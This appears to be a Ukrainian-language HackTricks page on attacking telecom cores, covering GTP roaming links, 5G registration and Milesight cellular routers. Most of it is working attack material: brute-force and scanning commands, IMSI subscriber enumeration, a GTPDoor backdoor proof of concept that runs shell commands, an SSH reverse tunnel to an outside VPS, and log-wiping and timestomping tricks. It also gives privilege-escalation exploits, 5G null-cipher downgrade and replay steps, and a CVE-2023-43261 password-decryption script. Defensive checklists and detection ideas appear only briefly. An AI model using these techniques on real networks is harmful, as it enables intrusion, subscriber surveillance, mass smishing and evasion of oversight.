Експлуатація телеком-мереж (GTP / середовища роумінгу)
Reading time: 13 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
note
Протоколи мобільного ядра (GPRS Tunnelling Protocol – GTP) часто проходять через напівдовірені GRX/IPX роумінгові магістралі. Оскільки вони працюють поверх простого UDP з майже відсутньою аутентифікацією, будь-який плацдарм всередині периметра телеком-мережі зазвичай може безпосередньо дістатися до основних сигнальних площин. Нижче зібрані атакувальні трюки, спостережені в реальному житті проти SGSN/GGSN, PGW/SGW та інших вузлів EPC.
1. Recon & Initial Access
1.1 Облікові записи OSS / NE за замовчуванням
Дивно велика кількість вендорських мережевих елементів постачається з вбудованими SSH/Telnet користувачами, такими як root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Спеціалізований wordlist драматично підвищує успішність brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Якщо пристрій експонує лише management VRF, спочатку pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).
1.2 Виявлення хостів у GRX/IPX
Більшість операторів GRX досі дозволяють ICMP echo через магістраль. Поєднайте masscan
з вбудованими UDP-пробами gtpv1
, щоб швидко відобразити GTP-C listeners:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerating Subscribers – cordscan
Наступна Go-утиліта формує GTP-C Create PDP Context Request пакети і записує відповіді. Кожна відповідь показує поточний SGSN / MME, що обслуговує запитуване IMSI, а іноді й відвіданий абонентом PLMN.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Ключові прапори:
--imsi
IMSI цільового абонента--oper
Home / HNI (MCC+MNC)-w
Записати сирі пакети у pcap
Важливі константи всередині бінарного файлу можна запатчити, щоб розширити сканування:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Code Execution over GTP – GTPDoor
GTPDoor
— невеликий ELF-сервіс, який прослуховує UDP 2123 і розбирає кожен вхідний GTP-C пакет. Коли payload починається з попередньо погодженого тега, решта даних розшифровується (AES-128-CBC) і виконується через /bin/sh -c
. stdout/stderr ексфільтруються всередині Echo Response повідомлень, тому жодна вихідна сесія ніколи не створюється.
Мінімальний PoC пакет (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Виявлення:
- будь-який хост, який надсилає unbalanced Echo Requests до IP-адрес SGSN
- GTP version flag встановлений у 1 при message type = 1 (Echo) – відхилення від специфікації
4. Pivoting через ядро
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
постачається з емулятором SGSN, який може встановити PDP context до реального GGSN/PGW. Після узгодження Linux отримує новий інтерфейс tun0
, доступний з боку roaming peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
При належному firewall hair-pinning цей тунель обходить signalling-only VLANs і ви потрапляєте безпосередньо в data plane.
4.2 SSH Reverse Tunnel over Port 53
DNS майже завжди відкритий у роумінгових інфраструктурах. Відкрийте внутрішній SSH-сервіс на вашому VPS, що слухає на :53, і поверніться пізніше з дому:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Переконайтеся, що GatewayPorts yes
увімкнено на VPS.
5. Приховані канали
Канал | Транспорт | Декодування | Примітки |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | повністю пасивний слухач, без вихідного трафіку |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) закодовано в октетах A-record | стежить за піддоменом *.nodep |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | маскується під легітимний GTP-C трафік |
Усі implants реалізують watchdogs, які timestomp their binaries і re-spawn у разі аварії.
6. Шпаргалка з обходу захисту
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation на Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Порада щодо очищення:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Набір інструментів
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– власні інструменти, описані в попередніх розділах.FScan
: TCP-сканування інтрамережі (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: легке SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / мост між активами
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Процедура реєстрації 5G працює через NAS (Non-Access Stratum) поверх NGAP. Поки безпека NAS не активована за допомогою Security Mode Command/Complete, початкові повідомлення не автентифіковані та не зашифровані. Це вікно перед активацією безпеки дозволяє кілька векторів атаки, якщо ви можете спостерігати або модифікувати N2-трафік (наприклад, on-path всередині ядра, rogue gNB або тестова лабораторія).
Registration flow (simplified):
- Registration Request: UE відправляє SUCI (SUPI зашифрований публічним ключем домашньої мережі) та заявлені можливості.
- Authentication: AMF/AUSF надсилають RAND/AUTN; UE повертає RES*.
- Security Mode Command/Complete: узгоджуються та активуються цілісність NAS і шифрування.
- PDU Session Establishment: налаштування IP/QoS.
Поради з налаштування лабораторії (без RF):
- Core: стандартне розгортання Open5GS достатнє для відтворення потоків.
- UE: симулятор або тестовий UE; декодування за допомогою Wireshark.
- Active tooling: 5GReplay (захоплення/модифікація/повторне відтворення NAS в межах NGAP), Sni5Gect (перехоплення/патч/вставка NAS на льоту без підняття повного rogue gNB).
- Корисні фільтри відображення в Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Очікуване: UE/USIM повинен передавати SUCI (SUPI, зашифрований публічним ключем домашньої мережі). Знаходження відкритого SUPI/IMSI в Registration Request вказує на дефект приватності, що дозволяє постійне відстеження абонента.
Як тестувати:
- Захопіть перше NAS-повідомлення в InitialUEMessage та проінспектуйте Mobile Identity IE.
- Швидкі перевірки в Wireshark:
- Повинно декодуватися як SUCI, а не IMSI.
- Приклади фільтрів:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
має бути присутнім; відсутність разом із присутністюimsi
свідчить про витік.
Що збирати:
- MCC/MNC/MSIN, якщо відкриті; логувати для кожного UE та відстежувати за часом/локаціями.
Пом'якшення:
- Забезпечити SUCI-only UEs/USIMs; генерувати оповіщення при будь-якому IMSI/SUPI в початковому NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Передумови:
- UE оголошує підтримувані EEA (шифрування) та EIA (цілісність) у UE Security Capability IE в Registration Request.
- Типові відповідності: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 — нульові алгоритми.
Проблема:
- Оскільки Registration Request не захищений цілісністю, атакувальник on-path може очистити біти здатностей, щоб примусити вибір EEA0/EIA0 пізніше під час Security Mode Command. Деякі стеки помилково дозволяють нульові алгоритми поза межами екстрених служб.
Офензивні кроки:
- Перехопіть InitialUEMessage і змініть NAS UE Security Capability, щоб оголосити лише EEA0/EIA0.
- З Sni5Gect захукайте NAS-повідомлення і пропатчіть біти здатностей перед пересиланням.
- Спостерігайте, чи AMF приймає нульові шифри/цілісність і завершує Security Mode з EEA0/EIA0.
Перевірка/видимість:
- У Wireshark підтвердіть вибрані алгоритми після Security Mode Command/Complete.
- Приклад виводу пасивного сніффера:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Заходи (обов'язково):
- Налаштуйте AMF/policy так, щоб відхиляти EEA0/EIA0, за винятком випадків, коли це суворо необхідно (наприклад, екстрені виклики).
- Віддавайте перевагу застосуванню EEA2/EIA2 як мінімум; логувати та подавати тривогу щодо будь-якого NAS security context, який погоджується на null algorithms.
9.3 Відтворення початкового Registration Request (pre-security NAS)
Оскільки початковий NAS не має цілісності та свіжості, перехоплені InitialUEMessage+Registration Request можуть бути відтворені на AMF.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Чи приймає AMF replay і переходить до Authentication; відсутність перевірки свіжості/зв'язування контексту вказує на вразливість.
Mitigations:
- Забезпечити replay protection/context binding на AMF; застосувати rate-limit і кореляцію для кожного GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: розгорніть AMF/SMF/UPF, щоб емулювати core; спостерігайте N2 (NGAP) і NAS.
- Wireshark: перевірте декодування NGAP/NAS; застосуйте наведені вище фільтри, щоб ізолювати Registration.
- 5GReplay: захопіть registration, потім replay конкретні NGAP + NAS повідомлення згідно правила.
- Sni5Gect: live sniff/modify/inject NAS control-plane, щоб примусити null algorithms або порушити authentication sequences.
9.5 Defensive checklist
- Постійно перевіряйте Registration Request на предмет plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
- Відхиляйте EEA0/EIA0, за винятком чітко визначених аварійних процедур; вимагайте щонайменше EEA2/EIA2.
- Виявляйте сторонню або неправильно налаштовану інфраструктуру: неавторизовані gNB/AMF, несподівані N2 peers.
- Налаштуйте оповіщення щодо NAS security modes, які призводять до null algorithms або частих replayів InitialUEMessage.
10. Промислові cellular роутери – зловживання неаутентифікованим SMS API (Milesight UR5X/UR32/UR35/UR41) та відновлення облікових даних (CVE-2023-43261)
Зловживання відкритими web API промислових cellular роутерів дозволяє приховане smishing з боку оператора у масштабі. Маршрутизатори серії Milesight UR розкривають JSON-RPC–style endpoint на /cgi
. Якщо неправильно налаштовано, API може бути опитано без аутентифікації для переліку SMS inbox/outbox і, в деяких розгортаннях, для відправки SMS.
Типові неаутентифіковані запити (така ж структура для inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Відповіді містять поля, такі як timestamp
, content
, phone_number
(E.164) та status
(success
або failed
). Повторні відправлення з failed
на той самий номер часто є «capability checks» від нападника, щоб підтвердити, що router/SIM може доставляти перед масовою розсилкою.
Приклад curl для exfiltrate SMS metadata:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Примітки щодо auth-артефактів:
- Деякий трафік може містити auth cookie, але велика частина відкритих пристроїв відповідає без жодної автентифікації на
query_inbox
/query_outbox
, коли інтерфейс управління доступний з Інтернету. - У середовищах, що потребують auth, previously-leaked credentials (див. нижче) відновлюють доступ.
Credential recovery path – CVE-2023-43261:
- Пошкоджені сімейства: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Проблема: web-served logs (наприклад,
httpd.log
) доступні без автентифікації під/lang/log/
і містять події входу admin з паролем, зашифрованим з використанням хардкодованого AES key/IV, присутнього в client-side JavaScript. - Практичний доступ та дешифрування:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Мінімальний скрипт Python для decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Ідеї для пошуку загроз і виявлення (мережа):
- Сповіщати про непроавторизований
POST /cgi
, тіло JSON якого міститьbase
/function
, встановлені вquery_inbox
абоquery_outbox
. - Відстежувати повторювані сплески
POST /cgi
, за якими йдуть записиstatus":"failed"
для багатьох унікальних номерів з тієї ж source IP (тестування можливостей). - Провести інвентаризацію Internet-exposed Milesight роутерів; обмежити управління через VPN; відключити SMS-функції, якщо вони не потрібні; оновити до ≥ v35.3.0.7; змінити credentials і переглянути SMS-логи на предмет невідомих надсилань.
Shodan/OSINT pivots (приклади, помічені in the wild):
http.html:"rt_title"
matches Milesight router panels.- Google dorking для пошуку exposed logs:
"/lang/log/system" ext:log
.
Operational impact: використання легітимних carrier SIMs всередині роутерів дає дуже високу SMS deliverability/credibility для фішингу, тоді як inbox/outbox exposure leaks sensitive metadata at scale.
Ідеї виявлення
- Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
- Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
- Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
- High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
- 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
- 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.
Посилання
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.